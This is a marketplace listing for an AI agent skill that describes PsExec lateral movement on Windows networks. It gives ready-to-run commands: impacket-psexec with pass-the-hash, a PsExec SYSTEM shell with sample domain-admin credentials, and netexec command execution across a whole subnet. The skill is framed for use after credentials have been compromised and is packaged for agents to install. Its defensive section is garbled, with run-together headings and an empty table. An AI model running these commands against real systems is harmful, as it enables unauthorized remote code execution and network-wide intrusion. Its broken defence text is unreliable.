agentsclimarketplace

Psexec lateral movement

Skill ShulkwiSEC/bb-huge/skills/curated/psexec-lateral-movement

Execute commands and binaries on remote Windows systems utilizing PsExec and SMB/RPC mechanisms. This skill details the mechanics behind tools like Sysinternals PsExec, Impacket's psexec.py, and their role in lateral movement via hidden administrative shares.From its SKILL.md

Install
npx -y skills add ShulkwiSEC/bb-huge --skill psexec-lateral-movement

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 21 stars21 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its file declares

Copied from the file, not written here

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

4.4 KB, 983 tokens by cl100k_base, as published. Nobody here has run it

Lateral Movement via PsExec

When to Use

  • You have compromised valid domain administrator credentials or a local administrator account for a target system.
  • You need to obtain an interactive command shell (cmd.exe or powershell.exe) or execute a payload on a remote Windows machine.
  • SMB (Port 445) and RPC (Port 135) are accessible.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Mechanics of PsExec

PsExec works by performing the following actions:

  1. Authenticates via SMB over Port 445.
  2. Connects to the ADMIN$ hidden share (usually C:\Windows).
  3. Uploads a service executable (e.g., PSEXESVC.exe).
  4. Uses the Service Control Manager (SCM) via RPC to create and start a Windows service wrapping the executable.
  5. Communicates input/output back via named pipes over SMB.

Phase 2: Remote Execution with Impacket (Linux)

# # impacket-psexec Administrator:[email protected]

# Using Pass-the-Hash (PTH) impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:88e4d9fabaecf3dec18dd80905521b29 [email protected]

Phase 3: Remote Execution with Sysinternals PsExec (Windows)

# # PsExec.exe \\192.168.1.100 -u Domain\Administrator -p Password123! cmd.exe

# Execute SYSTEM shell PsExec.exe \\192.168.1.100 -s -u Domain\Administrator -p Password123! cmd.exe

Phase 4: Automated Lateral Movement with CrackMapExec / NetExec

# netexec smb 192.168.1.0/24 -u Administrator -p Password123! -x "whoami"

Decision Point 🔀

flowchart TD
    A[Check SMB Access ] --> B{Admin Privs? ]}
    B -->|Yes| C[Upload Service ]
    B -->|No| D[PsExec Fails ]
    C --> E[Reverse Shell ]

🔵 Blue Team Detection & Defense

  • Monitor EID 7045 / 4697: Hunting Anomalous Pipe Names: Disable SMBv1 and Restrict Port 445: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Psexec Lateral Movement — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

What ships with it: 2 files

8.3 KB alongside SKILL.md, 1 of them executable

evals/

scripts/

Keep looking

Skills are one crate of 325,949. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.